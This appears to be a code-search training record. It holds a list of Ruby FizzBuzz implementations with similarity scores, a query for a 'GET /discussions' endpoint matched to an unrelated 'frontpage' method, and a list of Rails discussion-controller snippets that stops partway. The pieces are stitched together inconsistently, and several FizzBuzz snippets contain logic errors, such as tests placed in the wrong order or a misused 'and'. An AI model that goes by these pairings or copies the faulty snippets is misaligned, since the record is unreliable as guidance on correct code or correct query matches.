"def fizzbuzz(num_1, num_2, range)\n # Execute the code for each element in the collection (in this case, a range of numbers)\n (1..range).each do |i|\n # if i mod num_1 is zero (i.e. there isn't a remainder when you divide i by num_1) AND i mod num_2 is zero, then execute the code\n if i % num_1 === 0 && i % num_2 === 0\n # outputs string\n puts 'fizzbuzz'\n # Else if i mod num_1 is zero, then execute the code\n elsif i % num_1 === 0\n # outputs a string\n puts 'fizz'\n # Else if i mod num_2 is zero, then execute the code\n elsif i % num_2 === 0\n # outputs a string\n puts 'buzz'\n # If none of the above are true, then execute the code\n else\n # outputs a variable\n puts i\n # end the conditional arguments\n end\n # end the iteration\n end\n# end the method definition\nend",
"def fizzbuzz(num1, num2)\n array = []\n (num1..num2).each do |num|\n if num % 3 == 0 && num % 5 == 0\n array << \"FizzBuzz\"\n elsif num % 3 == 0\n array << \"Fizz\"\n elsif num % 5 == 0\n array << \"Buzz\"\n else\n array << num\n end\n end\n puts array.join(\", \")\nend",
"def fizzbuzz(starting, ending)\n result = []\n (starting..ending).each do |num|\n if num % 3 == 0 && num % 5 == 0\n result << \"FizzBuzz\"\n elsif num % 3 == 0\n result << \"Fizz\"\n elsif num % 5 == 0\n result << \"Buzz\"\n else\n result << num\n end\n end\n puts result.join(\", \")\nend",
"def fizzbuzz(num_1, num_2, range)\n #iterates over the parameters of fizzbuzz\n (1..range).each do |i|\n #if the number i's remainder after dividing into num_1 is equal to 0 & i's remainder after dividing by num_2 is also 0 is true\n if i % num_1 === 0 && i % num_2 === 0\n #print fizzbuzz\n puts 'fizzbuzz'\n #if i's remainder from dividing into num_1 equals 0 is true\n elsif i % num_1 === 0\n #print fizz\n puts 'fizz'\n #if i's remainder from dividing into num_2 equals 0 is true\n elsif i % num_2 === 0\n #print buzz\n puts 'buzz'\n #if none of the above conditions are true, then\n else\n #print i\n puts i\n #closes if/else statements\n end\n #closes iteration\n end\n# closes fizzbuzz method\nend",
"def fizzbuzz(number)\n (1..number).each do |num|\n if (num % 15).zero?\n puts 'FizzBuzz'\n elsif (num % 3).zero?\n puts 'Fizz'\n elsif (num % 5).zero?\n puts 'Buzz'\n else\n puts num\n end\n end\nend",
"def output\n @range.each do |number|\n if even_split?(number, 3)\n puts \"fizz\"\n elsif even_split?(number, 5)\n puts \"buzz\"\n else\n puts number\n end\n end\n end",
"def fizzbuzz(num_1, num_2, range)\n #This is a for loop that loops from 1 to the given range argument.\n (1..range).each do |i|\n #This is an if statement which sees if both the remainder of i / num_1 is equal to 0 and if the remainder of 1 / num_2 is equal to 0\n if i % num_1 === 0 && i % num_2 === 0\n #If the above if statement is true then it will print 'fizzbuzz'\n puts 'fizzbuzz'\n #This is a continuation of the if statement where if only the remainder of i / num_1 is equal to 0 it will run\n elsif i % num_1 === 0\n #If the above if elsif statement is true then it will print 'fizz'\n puts 'fizz'\n #This is another continuation of the if statement in which if only the remainder of i / num_2 is equal to 0 it will run\n elsif i % num_2 === 0\n #If the above elsif statement is true it will print 'buzz'\n puts 'buzz'\n #If none of the above statements are true this will run\n else\n #If the else is fulfilled this will print i\n puts i\n end\n end\nend",
"def dynamic_fizz_buzz(range, rules)\n range.each do |i|\n result = ''\n\n rules.each do |(text, divisor)|\n result << text if (i % divisor == 0)\n end\n\n puts result == '' ? i : result\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n # Invokes the for-loop method \"each\" to the interger range, ending the range\n # at the parameter \"range\" value.\n # Iterates the following if/elsif/else statement over each element in the index\n (1..range).each do |i|\n # Checks if the modulus of varriable \"i\" into the parameter \"num_1\" is the\n # same class as the interger 0\n # Checks if the modulus of varriable \"i\" into the parameter \"num_2\" is the\n # same class as the interger 0\n # The loogical AND operator checks if both === methods returned TRUE\n # If yes, returns TRUE. If no, returns FALSE.\n if i % num_1 === 0 && i % num_2 === 0\n # If the if statement returns TRUE, prints the string 'fizzbizz' to\n # the console\n # if the if statemnt returns FALSE, does nothing.\n puts 'fizzbuzz'\n # Calculates the modulus of the \"i\" variable into the paramater num_1.\n # Evaluates if the return to the above calculation is an interger.\n elsif i % num_1 === 0\n # If the elsif statement above returns TRUE, prints the string 'fizz' to\n # the console.\n # if the elsif statemnt above returns FLASE, does nothing.\n puts 'fizz'\n # Calculates the modulus of the \"i\" variable into the parameter num_2.\n # Evaluates if the return of the above calculation is an interger.\n elsif i % num_2 === 0\n # If the elsif statement above returns TRUE, prints the string 'buzz' to\n # the console.\n # if the eslif statemnt above returns FALSE, does nothing\n puts 'buzz'\n # If no nother if/els if statement has returned TRUE, this line will run\n else\n # Prints the current value of the varribale \"i\" to the console.\n puts i\n # Ends the if/elsif/els statements\n end\n # Ends the \".each\" method invocation\n end\n # Ends the definitions of the \"fizzbuzz\" method.\nend",
"def fizzbuzz(int1, int2)\n int1.upto(int2) do | number |\n if (number % 5 == 0) && (number % 3 == 0)\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n else\n puts number\n end\n end\nend",
"def fizzbuzz(num_1, num_2, range)\n # for...in loop executes through the range with <1> beginning and the function argument <range> ending.\n (1..range).each do |i|\n # if local variable <i> modulo, fuction argument <num_1> === 0 and <i> modulo function argument <num_2> === 0, returns <true> the code beneath executes.\n if i % num_1 === 0 && i % num_2 === 0\n # prints the string 'fizzbuzz' to the terminal\n puts 'fizzbuzz'\n # if the if condition returned false, then the conditional statement: <i> modulo <num_1> === 0, is evaluated. If it returns <true> the code beneath executes.\n elsif i % num_1 === 0\n # prints the string 'fizz' to the terminal if the conditional statement above returns <true>.\n puts 'fizz'\n # if and eslif above return <false>: the conditional statement: <i> modulo <num_2> === 0, is evaluated. If <true> then the code beneath executes.\n elsif i % num_2 === 0\n # prints the string 'buzz' to the terminal if the conditional statement above returns <true>.\n puts 'buzz'\n # if none of the other conditional statements return <true> the code beneath <else> executes.\n else\n # prints the local variable <i> to the terminal.\n puts i\n # ends the if statement block\n end\n # ends the for...in loop\n end\n # ends the <fizzbuzz> function\nend",
"def fizzbuzz(num1, num2)\n array = (num1..num2).to_a\n fizzbuzz = array.map do |n|\n if n % 3 == 0 && n % 5 == 0\n 'FizzBuzz'\n elsif n % 5 == 0\n 'Buzz'\n elsif n % 3 == 0\n 'Fizz'\n else \n n\n end\n end\n fizzbuzz.join(' ')\nend",
"def fizzbuzz(num)\n collection = (1..num).to_a\n collection.each do |num|\n if (num % 3 == 0) && (num % 5 != 0)\n puts \"Fizz #{num}\"\n elsif (num % 5 == 0) && (num % 3 != 0)\n puts \"Buzz #{num}\"\n elsif (num % 3 == 0) && (num % 5 == 0)\n puts \"FizzBuzz #{num}\"\n end\n end\nend",
"def fizz_buzz number \n # for i in number\n # \tif i%3 == 0 \n # \t\treturn \"fiz\"\n # \telsif i%5 == 0\n # \t\treturn \"buzz\"\n # \tend \n # end\n\n if ((number % 3 == 0) && (number % 5 == 0))\n \treturn \"FizzBuzz\"\n elsif (number % 3 == 0)\n \treturn \"Fizz\"\n elsif (number % 5 == 0)\n \treturn \"Buzz\"\n else \n \treturn number\n end\nend",
"def fizzbuzz(number)\n #if the number is divisible by both 3 and 5\n if number % 3 == 0 && number % 5 == 0\n \"FizzBuzz\"\n #else div by only 3\n elsif number % 3 == 0\n \"Fizz\"\n #else div by only 5\n elsif number % 5 == 0\n \"Buzz\"\n #else nil\n end\nend",
"def fizzbuzz(start_num, end_num)\n (start_num..end_num).map do |n|\n if n % 3 == 0 && n % 5 == 0\n 'FizzBuzz'\n elsif n % 3 == 0\n 'Fizz'\n elsif n % 5 == 0\n 'Buzz'\n else\n n\n end\n end\nend",
"def fizzbuzz(number)\n if number % 5 == 0 && number % 3 == 0\n return \"FizzBuzz\"\n end\n if number % 3 == 0\n return \"Fizz\"\n end\n if number % 5 == 0\n return \"Buzz\"\n end\nend",
"def fizzbuzz(start, finish)\n start.upto(finish) do |num|\n if div_by_3?(num) && div_by_5?(num)\n puts \"FizzBuzz\"\n elsif div_by_5?(num)\n puts \"Buzz\"\n elsif div_by_3?(num)\n puts \"Fizz\"\n else\n puts num\n end\n end\nend",
"def fizz_buzz num\n puts \"FizzBuzz\" if num % 15 == 0\n puts \"Fizz\" if num % 3 == 0\n puts \"Buzz\" if num % 5 == 0\n puts num\nend",
"def fizzbuzz(start_number, end_number)\n while start_number <= end_number do\n if start_number % 15 == 0\n puts \"FizzBuzz\"\n elsif start_number % 5 == 0\n puts \"Buzz\"\n elsif start_number % 3 == 0\n puts \"Fizz\"\n else\n puts start_number\n end\n start_number += 1\n end \n \nend",
"def fizzbuzz(int)\n if int % 3 == 0 && int % 5 == 0 \n \"FizzBuzz\"\n \n elsif int % 5 == 0 # if the number int is divisible by 5\n \"Buzz\"\n \n # if number is divisible by 3 and 5 print \"FizzBuzz\"\n \n elsif int % 3 == 0 # if the number int is divisible by 3\n \"Fizz\"\n \n end\n end",
"def fizzbuzz(start, finish)\n (start..finish).each do |n|\n output = ''\n output << 'Fizz' if (n % 3).zero?\n output << 'Buzz' if (n % 5).zero?\n puts output == '' ? n : output\n end\nend",
"def fizzbuzz(num1, num2)\n array = []\n\n num1.upto(num2) do |num|\n if (num % 3 == 0) && (num % 5 == 0)\n array << \"FizzBuzz\"\n elsif num % 5 == 0\n array << \"Buzz\"\n elsif num % 3 == 0\n array << \"Fizz\"\n else\n array << num\n end\n end\n array.join(', ')\nend",
"def fizzbuzz(num_1, num_2, range)\n # creates an action that will be carried out when the method is called\n (1..range).each do |i|\n # creates the first conditional to the action above\n if i % num_1 === 0 && i % num_2 === 0\n # notes the action to carry out if the above is true\n puts 'fizzbuzz'\n # creates an alternate conditional route for the action above\n elsif i % num_1 === 0\n # notes the action to carry out if the above conditional is true\n puts 'fizz'\n # creates yet another conidtional route - if both of the above are false - this will be evaluated.\n elsif i % num_2 === 0\n # notes the action to carry out if the above conditional is true\n puts 'buzz'\n # creates the final condition - encompasses all other options if the all 3 of the above are false\n else\n # notes the action to carry out if we've moved to the 'else' realm with the first 3 conditions\n puts i\n # ends the function within the method\n end\n #ends the method within a method of .each\n end\n# ends the method\nend",
"def fizzbuzz(int)\n if int % 15 == 0\n return \"FizzBuzz\"\nend\n if int % 3 == 0 # if the number int is divisible by 3\n return \"Fizz\" # Go fizz\nend\n if int % 5 == 0\n return \"Buzz\"\n end\nend",
"def fizzbuzz_group(number)\n if number % 3 == 0 && number % 5 == 0\n \"FizzBuzz\"\n elsif number % 3 == 0\n \"Fizz\"\n elsif number % 5 == 0\n \"Buzz\"\n end\nend",
"def fizzbuzz(first, last)\n results = []\n \n first.upto(last) do |num|\n results << if num % 15 == 0\n \"fizzbuzz\"\n elsif num % 3 == 0\n \"fizz\"\n elsif num % 5 == 0\n \"buzz\"\n else\n num\n end\n end\n\n puts results.join(', ')\nend",
"def fizzbuzz(num_1, num_2, range)\n # this declaring the iteration range\n (1..range).each do |i|\n # this is an if statement that if true it will print fizzbuzz. if it is false it will go to the next elsif satement\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # this is an elsif satement that if the above is found false and this statement is true it will print 'fizz'. If this statement is also false it will move on to the next elsif statement\n elsif i % num_1 === 0\n puts 'fizz'\n # this is an elsif satement that if the above two statements found false and this statement is true it will print 'buzz'. If this statement is also false it will move on to the final else statement\n elsif i % num_2 === 0\n puts 'buzz'\n # this is an else satement that if all of the above are found false it will print 'i'.\n else\n puts i\n end\n end\nend",
"def fizzbuzz\n\t1.upto(100) do |i|\n\t\tprint \"Fizz \" if a = (i % 3).zero?\n\t\tprint \"Buzz \" if b = (i % 5).zero?\n\t\tprint \"FizzBuzz \" if c = (i % 15).zero?\n\t\tprint i.to_s + \" \" unless (a || b || c)\n\tend\nend",
"def fizzbuzz\n\t(1..100).each do |num|\n\t if num % 3 == 0 && num % 5 == 0\n\t\tputs \"Fizzbuzz\"\n\t elsif num % 3 == 0\n\t\tputs \"Fizz\"\n\t elsif num % 5 == 0 \n\t\tputs \"Buzz\"\n\t else\n\t\tputs num\n\t end\n\tend\nend",
"def fizzbuzz (int)\n\n if int % 3 == 0 && int % 5 == 0\n \"FizzBuzz\"\n \n#returns \"FizzBuzz\" when the number is divisible by 3 and 5\n\n elsif int % 3 == 0\n \"Fizz\"\n \n#returns \"Fizz\" when the number is divisible by 3\n \n elsif int % 5 == 0\n \"Buzz\" \n \n#returns \"Buzz\" when the number is divisible by 5\n\n end\nend",
"def fizzbuzz\n\n\tfor i in (1..100) do\n\t\tif i % 3 == 0 and i % 5 == 0\n\t\t\tputs 'FizzBuzz'\n\t\telsif i % 5 == 0\n\t\t\tputs 'Buzz'\n\t\telsif i % 3 == 0\n\t\t\tputs 'Fizz'\n\t\telse puts i\n\n\t\tend\n\tend\n\nend",
"def fizzbuzz(number)\n if number % 3 == 0 && number % 5 == 0\n \"FizzBuzz\"\n elsif number % 3 == 0\n \"Fizz\"\n elsif number % 5 == 0\n \"Buzz\"\n end\nend",
"def fizz_buzz number \n#prints numbers from 1 to 200\n #Modulo\n if number % 3 == 0 && number % 5 == 0\n 'FizzBuzz'\n elsif number % 3 == 0\n 'Fizz'\n elsif number % 5 == 0\n 'Buzz'\n else\n return number\n end\n\nend",
"def fizzbuzz(num_1, num_2, range)\n #defines new method fizzbuzz with 3 parameters\n (1..range).each do |i|\n #establishes range and loop. |i| iterates through the range.\n if i % num_1 === 0 && i % num_2 === 0\n #starts conditional with mathematical function\n puts 'fizzbuzz'\n #prints out fizzbuzz if the \"if\" conditions are met.\n\n elsif i % num_1 === 0\n #establishes another condition if above condition parameters not met.\n puts 'fizz'\n #prints out fizz if the preceding \"elsif\" condition is met.\n elsif i % num_2 === 0\n #establishes another condition if above condition parameters not met.\n puts 'buzz'\n #prints out buzz if the preceding \"elsif\" condition is met.\n else\n #establishes condition for any other situation that does not fulfill preceding conditional staements.\n puts i\n # prints out value of if the preceding condition is met.\n\n end\n #ends conditional\n end\nend",
"def fizzbuzz_iterator range_from , range_to\n (range_from..range_to).each do |i|\n if divisible_by?(i,3) && divisible_by?(i,5)\n @fizzbuzz_array << \"FizzBuzz\"\n elsif divisible_by?(i,3)\n @fizzbuzz_array << \"Fizz\"\n elsif divisible_by?(i,5)\n @fizzbuzz_array << \"Buzz\"\n else\n @fizzbuzz_array << i\n end\n end\n end",
"def fizzbuzz(num_1, num_2, range) # Create class method called 'fizzbuzz'\n (1..range).each do |i| # Iterate process for each item in a range\n if i % num_1 === 0 && i % num_2 === 0 # If statement - Modulus: Divides left hand operand by right hand operand and returns remainder. === tests equality\n puts 'fizzbuzz' # Prints fizzbuzz\n elsif i % num_1 === 0 # Elsif statement - Modulus of integer and num_1\n puts 'fizz' # Prints fizzbuzz\n elsif i % num_2 === 0 # Elsif statement - Modulus of integer and num_2\n puts 'buzz' # Prints buzz\n else # For anthing else\n puts i # Print the integer\n end\n end\nend",
"def fizz_buzz number\n if number % 15 == 0\n \"FizzBuzz\"\n elsif number % 5 == 0\n \"Buzz\"\n elsif number%3 == 0\n \"Fizz\"\n else\n number\n end\nend",
"def fizz_buzz (i)\n 1.upto 100 do |i|\n if i % 5 == 0 && i % 3 == 0 \n puts \"FizzBuzz\"\n elsif i % 5 == 0\n puts \"Buzz\" \n elsif\n puts i % 3 == 0\n else \"Fizz\"\n puts i\n end\nend\nend",
"def fizzbuzz(num)\n test_3 = num % 3\n test_5 = num % 5\n \n if test_3 == 0 && test_5 == 0\n \"FizzBuzz\"\n elsif test_3 == 0 && test_5 != 0\n \"Fizz\"\n elsif test_3 != 0 && test_5 == 0\n \"Buzz\"\n end\nend",
"def fizzbuzz(n)\n if n % (3 and 5) == 0 \n \"FizzBuzz\"\n elsif n % 3 == 0\n \"Fizz\"\n elsif n % 5 == 0\n \"Buzz\"\n else\n n\n end\nend",
"def print_list(limit)\n\n 1.upto(limit) do |number|\n\n if divisible_by?(15, number)\n puts \"Fizzbuzz\"\n\n elsif divisible_by?(3, number)\n puts \"Fizz\"\n\n elsif divisible_by?(5, number)\n puts \"Buzz\"\n\n else\n puts number\n\n end\n end\nend",
"def fizzbuzz(number)\n if number % 3 === 0 and number % 5 === 0\n return \"fizzbuzz\"\n elsif number % 3 === 0\n return \"fizz\"\n elsif number % 5 === 0\n return \"buzz\"\n else\n return number\n end\nend",
"def fizzbuzz(int)\n divBy3 = int % 3 == 0\n divBy5 = int % 5 == 0\n if divBy3 && !divBy5\n \"Fizz\"\n elsif divBy5 && !divBy3\n \"Buzz\"\n elsif divBy3 && divBy5\n \"FizzBuzz\"\n else\n nil\n end\nend",
"def fizz_buzz(i)\nif i % 3 == 0 && i % 5 == 0\n\t\"fizzbuzz\"\nelsif i % 3 == 0 \n\t \"fizz\"\nelsif i % 5 == 0\n \"buzz\"\nelse\n\t i \n end\nend",
"def fizzbuzz(number)\nif (number%3==0) && (number%5==0)\n \"FizzBuzz\"\nelsif (number%3)==0\n \"Fizz\"\nelsif (number%5)==0\n \"Buzz\"\nelse\n nil\nend\nend",
"def fizz_buzz_check\n @numbers.collect do |x|\n if multiple_of(15, x)\n 'FizzBuzz'\n elsif multiple_of(3, x)\n 'Fizz'\n elsif multiple_of(5, x)\n 'Buzz'\n else\n x\n end\n end\n end",
"def fizzbuzz(number)\n return \"please enter a positive integer\" if number < 1\n if number % 3 == 0 and number % 5 == 0\n \"fizzbuzz\"\n elsif number % 3 == 0\n \"fizz\"\n elsif number % 5 == 0\n \"buzz\"\n else\n number\n end\nend",
"def fizzbuzz(integer)\n if integer %3 ==0 && integer %5==0\n return \"FizzBuzz\"\nelsif integer % 3 == 0\n return \"Fizz\"\n elsif integer % 5 ==0 \n return \"Buzz\"\n \n end\n end",
"def fizzbuzz(num1,num2)\n num1.upto(num2).each do |n|\n case\n when n % 3 == 0\n 'fizz'\n when n % 5 == 0\n 'buzz'\n when n % 3 == 0 && n % 5 == 0\n 'fizzbuzz'\n else\n p n\n end\n end\nend",
"def fizzbuzz()\n numbers = Array(1..100)\n numbers.each do |num|\n if num % 15 == 0\n puts \"FizzBuzz\" \n elsif num % 3 == 0\n puts \"Fizz\"\n elsif num % 5 == 0\n puts \"Buzz\"\n else\n puts num\n end\n end\nend",
"def fizz_buzz number\n if number%3 == 0 && number%5 == 0\n return \"FizzBuzz\"\n elsif number%3 == 0\n return \"Fizz\"\n elsif number%5 == 0\n return \"Buzz\"\n else\n return number\n end\nend",
"def fizzbuzz (int)\n if int%3==0 && int%5==0 # if the number int is divisible by 3\n \"FizzBuzz\"\n elsif int%3==0\n \"Fizz\"\n elsif int%5==0\n \"Buzz\"\n else\n end\nend",
"def fizzbuzz(num)\n if(num%15==0)\n return \"fizzbuzz\"\n end\n if(num%3==0)\n return \"fizz\"\n end\n if (num%5==0)\n return \"buzz\"\n end\n return num.to_s\nend",
"def fizzbuzz(num_given)\n \n if(num_given % 3 == 0)&&(num_given % 5 == 0)\n \"FizzBuzz\"\n elsif (num_given % 3 == 0)\n \"Fizz\"\n elsif (num_given % 5 == 0)\n \"Buzz\"\n else\n nil\n end\nend",
"def fizzbuzz(int)\n if int % 3 == 0 and int % 5 == 0\n \"FizzBuzz\"\n elsif int % 3 == 0 \n \"Fizz\"\n elsif int % 5 == 0 \n \"Buzz\"\n else\n end\nend",
"def fizzbuzz(num)\n if num % 3 == 0\n return \"fizz\"\n elsif num % 5 == 0\n return \"buzz\"\n elsif num % 3 ==0 && num % 5 == 0\n return \"fizzbuzz\"\n else\n end\nend"
] |
[
"0.82603306",
"0.82559174",
"0.8235474",
"0.82354546",
"0.82118964",
"0.8210945",
"0.8187753",
"0.8174899",
"0.81746626",
"0.81545216",
"0.8144926",
"0.8142883",
"0.8117165",
"0.8104457",
"0.8094259",
"0.8066383",
"0.80643237",
"0.8062092",
"0.8054983",
"0.805326",
"0.80254704",
"0.80209154",
"0.80205464",
"0.8019871",
"0.799017",
"0.79859054",
"0.7975063",
"0.7929529",
"0.792809",
"0.7921147",
"0.7912846",
"0.7910917",
"0.78932685",
"0.78884524",
"0.78881615",
"0.7868745",
"0.7867958",
"0.78653026",
"0.786503",
"0.78595513",
"0.78574485",
"0.78561556",
"0.7855006",
"0.7850819",
"0.7836642",
"0.7835713",
"0.77930987",
"0.77914536",
"0.7787198",
"0.77831304",
"0.7758324",
"0.7754925",
"0.7748655",
"0.7742395",
"0.77361804",
"0.77278006",
"0.7727046",
"0.7726991",
"0.7718889",
"0.7712045",
"0.77075714",
"0.77068484",
"0.7705534",
"0.76932466",
"0.76887006",
"0.7680358",
"0.7679774",
"0.76789826",
"0.76773393",
"0.7664634",
"0.7660927",
"0.7648917",
"0.7645706",
"0.7640272",
"0.7628403",
"0.76128024",
"0.76117176",
"0.76076233",
"0.7606568",
"0.76061386",
"0.7601133",
"0.76006526",
"0.7598329",
"0.7595157",
"0.7594941",
"0.75921565",
"0.7592132",
"0.75873005",
"0.75825226",
"0.7577177",
"0.7576536",
"0.7573268",
"0.75688046",
"0.7568544",
"0.75650316",
"0.7553414",
"0.75519496",
"0.75470763",
"0.7546099",
"0.7535677"
] |
0.82012075
|
6
|
GET /discussions GET /discussions.json
|
def frontpage
@users = User.order(karma: :desc).limit(5)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def discussions(**params)\n client.model(:get, \"/live/#{read_attribute(:id)}/discussions\", params)\n end",
"def index\n @discussions = Discussion.all\n end",
"def index\n @discussions = Discussion.all\n end",
"def index\n @discussions = @issue.discussions.all\n end",
"def index\n @discussions = @project.discussions\n\n respond_to do |format|\n format.html\n format.api\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def index\n @discussions = Discussion.includes(:user)\n .order('updated_at DESC')\n .paginate(page: params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def index\n @discussions = Discussion.paginate page: params[:page], order: \"last_post_at DESC\", per_page: 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def show\n @discussions = @forum.all_discussions\n end",
"def get_discussions\n @query_url = params[:url]\n\n # ALWAYS remove trailing slash before get_response calls\n @query_url.chop! if @query_url.end_with?('/')\n\n # checks for specific version number, < 3 skips slashdot\n @api_version = 2 if params[:version] == '2'\n results = {}\n\n # caching discussit API calls\n discuss_it = DiscussIt::DiscussItApi.cached_request(@query_url, @api_version)\n\n @top_raw ||= discuss_it.find_top\n @all_raw ||= discuss_it.find_all.all\n\n @top_results, filtered_top_results = DiscussIt::Filter.filter_threads(@top_raw)\n @all_results, filtered_all_results = DiscussIt::Filter.filter_threads(@all_raw)\n\n @filtered_results = (filtered_all_results + filtered_top_results).uniq\n\n results = {\n total_hits: total_hits_count,\n top_results: {\n hits: top_hits_count,\n results: @top_results\n },\n all_results: {\n hits: all_hits_count,\n results: @all_results\n },\n filtered_results: {\n hits: filtered_hits_count,\n results: @filtered_results\n }\n }\n\n render json: results\n end",
"def index\n @discussions = Discussion.order('updated_at DESC').includes(:posts).all\n end",
"def index\n @comments = DiscussionComment.all\n render json: @comments\n end",
"def index\n @discussions = Discussion.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discussions }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def new\n @discussion = Discussion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discussion }\n end\n end",
"def index\n @discussions = Discussion.where(course: @course)\n end",
"def show\n @discussion = Discussion.includes(:user, { :comments => :user }).find(params[:id])\n @comments = @discussion.comments.paginate page: params[:page]\n @comment = @discussion.comments.build\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def show\n @discuss = Discuss.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discuss }\n end\n end",
"def index\n #@discussions = Discussion.where(:owner => nil).order(\"created_at DESC\")\n\t@discussions = Discussion.joins(:comments).\n\t\t\t\t\tselect('discussions.*, count(comments.id) as comments_count').\n\t\t\t\t\twhere(\"discussions.owner IS NULL\").\n\t\t\t\t\tgroup(\"discussions.id\").\n\t\t\t\t\torder('comments_count DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @discussions }\n end\n end",
"def index\n @project = Project.find(params[:project_id])\n @discussions = @project.discussions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @discussions }\n end\n end",
"def discussions\n @discussions ||= Discussions.new(self.owner)\n end",
"def show\n# @discussion.replies.paginate(page: params[:page], per_page: 10)\n \n @discussions = @forum.discussions.paginate(page: params[:page], per_page: 10)\n @discussion = Discussion.new\n end",
"def show\n @discussion = Discussion.find(params[:id])\n render :show\n end",
"def discussion\n Comment.where(\"article_id = ?\", id)\n end",
"def show\n @discussion = Discussion.find(params[:id])\n @posts = @discussion.posts\n\n # Reply form\n @post = Post.new(discussion: @discussion)\n @submit_label = 'Reply'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to action: 'index', notice: 'Invalid discussion.'\n end",
"def index\n @discussions = Discussion.all.sorted\n @discussion = current_user.discussions.new\n\n end",
"def set_discussion\n @discussion = Discussion.includes(:posts, :likes).find(params[:id])\n end",
"def show\n @discussion = Discussion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def read\n @discussion = current_user.discussions.find(params[:id])\n @discussion && @discussion.read_by!(current_user)\n @discussion.comments.each do |comment|\n comment.read_by!(current_user) unless comment.read_by?(current_user)\n end\n render :nothing => true\n end",
"def topics\n client = Comments.discourse\n @topics = client.latest_topics\n respond_to do |fmt|\n fmt.js { }\n end\n end",
"def list\n @list ||= begin\n drequest = {\n where: {owner_id: owner.id},\n colonnes: []\n }\n dbtable_frigo_discussions.select(drequest).collect do |hdis|\n dbtable_frigo_messages.count(where:{discussion_id: hdis[:id]}) > 0 || next\n Frigo::Discussion.new(hdis[:id])\n end.compact\n end\n end",
"def index\n @mdl_forum_discussions = MdlForumDiscussion.all\n end",
"def show\n @project = Project.find(session[:current_project])\n @discussion = @project.discussions.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def read\n @admin_discussion = AdminDiscussion.find(params[:id])\n @admin_discussion.read_by!(current_user)\n @admin_discussion.discussionable.read_by!(current_user)\n render :nothing => true\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def discussion(id)\n db = connect()\n return [db.execute('SELECT discussions.*, users.Username FROM discussions INNER JOIN users ON discussions.UserId = users.Id WHERE discussions.Id=?', id), \n db.execute('SELECT posts.*, users.Username FROM posts INNER JOIN users ON posts.userId = users.Id WHERE posts.DiscId=?', id)]\n end",
"def new\n @discuss = Discuss.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discuss }\n end\n end",
"def index\n @discussioms = Discussiom.all\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def set_discussion\n @discussion = Discussion.find(params[:id])\n end",
"def show\n @discussion = Discussion.find_by(id: params[:id])\n @comment = Comment.new\n end",
"def show\n @board = Board.find_by_short_form(params[:id])\n\n @discussions = @board.discussions.paginate page: params[:page], order: 'last_post_at desc', per_page: 10\n @discussion = Discussion.new(board: @board)\n @post = Post.new(discussion: @discussion)\n @submit_label = \"New Discussion\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @board }\n end\n end",
"def new\n @project = Project.find(params[:project_id])\n @discussion = @project.discussions.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discussion }\n end\n end",
"def show\n @discussion = Discussion.find(params[:id])\n\n # Unauthorized\n if !@discussion.owner!.nil? && !@discussion.owner!.empty?\n \t@owner = @discussion.owner\n \tif !@owner.member? && !@owner.permissions['public_discussions'] && !currentUser.is_admin\n\t\t\t\tflash[:notice] = \"To see this dicussion you must join the \\\"#{@owner.name}\\\" group\"\n\t\t\t\treturn redirect_to @owner\n \tend\n end\n\n @comment =Comment.new\n\t\tif self.current_user\n\t\t\t@follower = Follower.where(\"user_id = ? && discussion_id = ?\", self.current_user.id, @discussion.id).first\n\t\tend\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discussion }\n end\n end",
"def latest_discussions(num=nil)\n Discussion.latest_for_category(self, num)\n end",
"def index\n @talk_comments = TalkComment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @talk_comments }\n end\n end",
"def create\n @discussion = current_user.discussions.new(discussion_params)\n\n respond_to do |format|\n if @discussion.save\n format.html { redirect_to discussions_path, notice: 'Discussion was successfully created.' }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { redirect_to discussions_path, alert: 'Discussion not successfully created' }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end",
